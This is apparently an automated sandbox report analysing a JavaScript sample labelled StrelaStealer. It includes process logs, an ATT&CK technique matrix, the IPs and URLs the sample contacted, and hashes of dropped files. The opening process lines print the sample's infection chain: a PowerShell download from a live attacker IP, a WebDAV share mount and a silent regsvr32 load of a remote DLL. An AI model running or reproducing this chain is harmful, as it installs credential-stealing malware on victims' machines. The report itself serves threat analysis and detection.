Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
16001220953190821144.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer
16001220953190821144.js	5%	Virustotal		Browse

Source	Detection	Scanner	Label
https://fs.microsoftX	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/j$	0%	Avira URL Cloud	safe
http://schemas.microsoft.emPt	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/~$	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
241.42.69.40.in-addr.arpa	unknown	unknown	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2703208138.000002231F800000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1452464569.000002231F650000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
https://fs.microsoftX	svchost.exe, 00000009.00000002.2703208138.000002231F800000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000003.1452187283.000001EFEAF5D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1453460864.000001EFEAF5D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1452187283.000001EFEAF6C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1453174243.000001EFEAF40000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1453460864.000001EFEAF6C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1451719748.000001EFEAF8C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/j$	net.exe, 00000007.00000003.1452187283.000001EFEAF6C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1453460864.000001EFEAF6C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://schemas.microsoft.emPt	svchost.exe, 00000009.00000002.2703264223.000002231F841000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/~$	net.exe, 00000007.00000003.1452187283.000001EFEAF6C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1453460864.000001EFEAF6C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588809
Start date and time:	2025-01-11 05:47:21 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	16001220953190821144.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 52.6.155.20, 3.233.129.217, 52.22.41.97, 3.219.243.226, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 199.232.214.172, 2.16.168.107, 2.16.168.105, 4.245.163.56, 104.76.100.172, 40.69.42.241, 172.202.163.200
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
23:48:16	API Interceptor	20x Sleep call for process: powershell.exe modified
23:48:20	API Interceptor	1x Sleep call for process: net.exe modified
23:48:20	API Interceptor	2x Sleep call for process: svchost.exe modified
23:48:33	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1003135002549521218.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11234261403012723904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	8708187442773418429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	20314304422672320911.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19726179161917216961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	183262889860027833.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22736232701915520651.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	293459661900119816.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1507513743282749438.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	53198678114324144.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	8708187442773418429.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	20314304422672320911.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	19726179161917216961.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	183262889860027833.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	293459661900119816.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1507513743282749438.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	53198678114324144.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	190731319210776809.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	19663169782459227955.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	16267239851350230287.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1003135002549521218.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11234261403012723904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	8708187442773418429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	20314304422672320911.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19726179161917216961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	183262889860027833.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22736232701915520651.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	158324772041924674.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	293459661900119816.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10256249222235922013.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8021982687489697
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAk:RJE+Lfki1GjHwU/+vVhWqp5
MD5:	FF467955DBAB1568BA673E32A753DA73
SHA1:	370F42E1D31DED4D79DAF2005669D09EF1B63CD1
SHA-256:	D2D3DC513D29F9DAE8B62FF5A1AD0EFFA3EE69670D4FDE1B4E65F9DD7668EA93
SHA-512:	C854EBB6126A86840E6D8C9FD735C50D4BE463D61D392045190A8FC46B1CCE9EBE3AED45690D166C81F5F1DCD4CC2BDDF5E72DE222741BA63F1C4EA4C85496EC
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x80023501, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9432796942474623
Encrypted:	false
SSDEEP:	1536:jSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:jazaHvxXy2V2UR
MD5:	918AD0A65B8E3BADA6AF49310ACABD35
SHA1:	F80B426A616C9815F0D32A0A78D65BFF2236540F
SHA-256:	EAA1425D25080DE491C4696F3AE5A97116D9E94B2E98AD1E9F8289F8D7FB1E44
SHA-512:	DADC659D728698F106B1B0A2E4238926004E388CD9F4B4BBD349ABD843FE8718E688E47397FBABADE6C102B7A506589D74911922B67F2ED84FA73BC5F49BB42A
Malicious:	false
Preview:	..5.... ...............X\...;...{......................0.x...... ...{s..0...}..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{......................................0...}.......................0...}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08090108532830131
Encrypted:	false
SSDEEP:	3:CImll/lKYeGAaoGsl/nqlFcl1ZUllllPT9NallGBnX/l/Tj/k7/t:LmltlKzSNsl/qlFclQ/lDo254
MD5:	FEA1FA2C3FE310CC36F21858E40FCDB0
SHA1:	7A2E554AA525B9DFC7078C9593556C0BF2D03C0F
SHA-256:	BE24F235458227834BB7E357ECA017AFD519D83AD9E005161177A44426AC9DBF
SHA-512:	62D39138286759B7C0BE969B85A861E2F5C40A3CEE3F79653544F620B92D7237A3B3C4BE4A1BC1D188F1540172C13849F8DCAFADC8CE6F764645DD2C74334517
Malicious:	false
Preview:	.[......................................;...{...0...}... ...{s.......... ...{s.. ...{s.P.... ...{s......................0...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.222750283006592
Encrypted:	false
SSDEEP:	6:iO4qgQL+q2PCHhJ2nKuAl9OmbnIFUtSqZG1ZmwsqZQLVkwOCHhJ2nKuAl9OmbjLJ:7qQyvBHAahFUt1g/LQR56HAaSJ
MD5:	39F539C4471ECAB50389DB6D1F35EAA0
SHA1:	194F123061A204B3ADDD211485F422B6ED5887FC
SHA-256:	6FBB9A1D6861C9B7B97120FA6C8A2A3956707AE31DF3BBF46DAEB0A9D74B479A
SHA-512:	FCDC39EF905C40C087EFABDA85BA739F4708454407B5E67B31D88AFACFDA4165EC2CFDCACAAF6019D84056CA05218591F389FD7103342E3C6B8D60B99108376C
Malicious:	false
Preview:	2025/01/10-23:48:20.366 1ba8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:48:20.374 1ba8 Recovering log #3.2025/01/10-23:48:20.374 1ba8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.222750283006592
Encrypted:	false
SSDEEP:	6:iO4qgQL+q2PCHhJ2nKuAl9OmbnIFUtSqZG1ZmwsqZQLVkwOCHhJ2nKuAl9OmbjLJ:7qQyvBHAahFUt1g/LQR56HAaSJ
MD5:	39F539C4471ECAB50389DB6D1F35EAA0
SHA1:	194F123061A204B3ADDD211485F422B6ED5887FC
SHA-256:	6FBB9A1D6861C9B7B97120FA6C8A2A3956707AE31DF3BBF46DAEB0A9D74B479A
SHA-512:	FCDC39EF905C40C087EFABDA85BA739F4708454407B5E67B31D88AFACFDA4165EC2CFDCACAAF6019D84056CA05218591F389FD7103342E3C6B8D60B99108376C
Malicious:	false
Preview:	2025/01/10-23:48:20.366 1ba8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:48:20.374 1ba8 Recovering log #3.2025/01/10-23:48:20.374 1ba8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.130503866995484
Encrypted:	false
SSDEEP:	6:iO4qZpIq2PCHhJ2nKuAl9Ombzo2jMGIFUtSqRiZmwsqROkwOCHhJ2nKuAl9Ombzz:7evBHAa8uFUtM/C56HAa8RJ
MD5:	AE35CC0D715F35E344968D0DA8F6001C
SHA1:	AC7F9509D8E0C3D79F06D57BD4525217FED4D44B
SHA-256:	4D3F5B68C9015788D7737CDC01588D4792153B5C7FE632F1752C9AE3594F84D8
SHA-512:	45952F412BAD084B15DBA9388344846FA4B47445129F3F588B379C4A874CE4FDB710DFFF71349E73D35854D517FCDC26A0B3270E743FC10F1BE7085C5E9B5C44
Malicious:	false
Preview:	2025/01/10-23:48:20.428 1330 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:48:20.430 1330 Recovering log #3.2025/01/10-23:48:20.430 1330 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.130503866995484
Encrypted:	false
SSDEEP:	6:iO4qZpIq2PCHhJ2nKuAl9Ombzo2jMGIFUtSqRiZmwsqROkwOCHhJ2nKuAl9Ombzz:7evBHAa8uFUtM/C56HAa8RJ
MD5:	AE35CC0D715F35E344968D0DA8F6001C
SHA1:	AC7F9509D8E0C3D79F06D57BD4525217FED4D44B
SHA-256:	4D3F5B68C9015788D7737CDC01588D4792153B5C7FE632F1752C9AE3594F84D8
SHA-512:	45952F412BAD084B15DBA9388344846FA4B47445129F3F588B379C4A874CE4FDB710DFFF71349E73D35854D517FCDC26A0B3270E743FC10F1BE7085C5E9B5C44
Malicious:	false
Preview:	2025/01/10-23:48:20.428 1330 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:48:20.430 1330 Recovering log #3.2025/01/10-23:48:20.430 1330 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.964782568416978
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqjrTSsBdOg2HUcaq3QYiub6P7E4T3y:Y2sRdsqrTXdMHH3QYhbS7nby
MD5:	60F4119C01D378811328F334FB088DFA
SHA1:	31CA601F423CB57EC041B039AC3B27831F8C3F56
SHA-256:	DD7A2AF15A92B868C20BD215811479F197A8911D4E777F01C10FFF184970C251
SHA-512:	B27F1A7DDB76054FF4D2006B0D8F22A735AB0E95735435843C65BB9B238AF093FEDCBAF4847BBD182625BE88C13DA6AE9A5A04F5F6627CC5C501B4F1833F74F9
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381130912875419","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":140487},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\fc559d49-b54a-4f7a-836e-807970af3cac.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.964782568416978
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqjrTSsBdOg2HUcaq3QYiub6P7E4T3y:Y2sRdsqrTXdMHH3QYhbS7nby
MD5:	60F4119C01D378811328F334FB088DFA
SHA1:	31CA601F423CB57EC041B039AC3B27831F8C3F56
SHA-256:	DD7A2AF15A92B868C20BD215811479F197A8911D4E777F01C10FFF184970C251
SHA-512:	B27F1A7DDB76054FF4D2006B0D8F22A735AB0E95735435843C65BB9B238AF093FEDCBAF4847BBD182625BE88C13DA6AE9A5A04F5F6627CC5C501B4F1833F74F9
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381130912875419","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":140487},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.231755848499727
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bL5o5GQc:S43C4mS7fFi0KFYDjr3LWO3V3aw+bL5p
MD5:	A5E54908B39B45B56F7C645BE33598C5
SHA1:	2E63DC7B1B7D8273E517BFFD490A6D65981692C4
SHA-256:	BEBE61C58A38E3A965FE802D0516C6FBB57D4C932DAC3DC49806F9A4BE32A56B
SHA-512:	22B7C6B79815950D97C1EFBFF5B4C2500A7DACCA3A42248D5D336571B150C622A60A86D56B210CB7EF8D647525CB04A920974843DC5C19963DD95EDA680E38B6
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.1800176577734005
Encrypted:	false
SSDEEP:	6:iO4qEAq2PCHhJ2nKuAl9OmbzNMxIFUtSq0upZZmwsq6WekwOCHhJ2nKuAl9OmbzE:7mAvBHAa8jFUtQupZ/Xe56HAa84J
MD5:	2ED9720FB16E1A6CB9DBC3BFAF80F993
SHA1:	388B41C621926A7D27E70D487E57397FE1A64E23
SHA-256:	8F127EB43435717467FA919D99647C3D754C70B27A0631B16EDE6BFEE9D77962
SHA-512:	D7F064F0A50C921BD4855D7A0057290CA8A36231F43C013223A2A9FD0A612D5FA91D7B8CAC24ED2ECC4A07458516DCCB6BA8AED68E6D57D44EF932C8883C0B7D
Malicious:	false
Preview:	2025/01/10-23:48:20.719 1330 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:48:20.723 1330 Recovering log #3.2025/01/10-23:48:20.724 1330 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.1800176577734005
Encrypted:	false
SSDEEP:	6:iO4qEAq2PCHhJ2nKuAl9OmbzNMxIFUtSq0upZZmwsq6WekwOCHhJ2nKuAl9OmbzE:7mAvBHAa8jFUtQupZ/Xe56HAa84J
MD5:	2ED9720FB16E1A6CB9DBC3BFAF80F993
SHA1:	388B41C621926A7D27E70D487E57397FE1A64E23
SHA-256:	8F127EB43435717467FA919D99647C3D754C70B27A0631B16EDE6BFEE9D77962
SHA-512:	D7F064F0A50C921BD4855D7A0057290CA8A36231F43C013223A2A9FD0A612D5FA91D7B8CAC24ED2ECC4A07458516DCCB6BA8AED68E6D57D44EF932C8883C0B7D
Malicious:	false
Preview:	2025/01/10-23:48:20.719 1330 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:48:20.723 1330 Recovering log #3.2025/01/10-23:48:20.724 1330 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
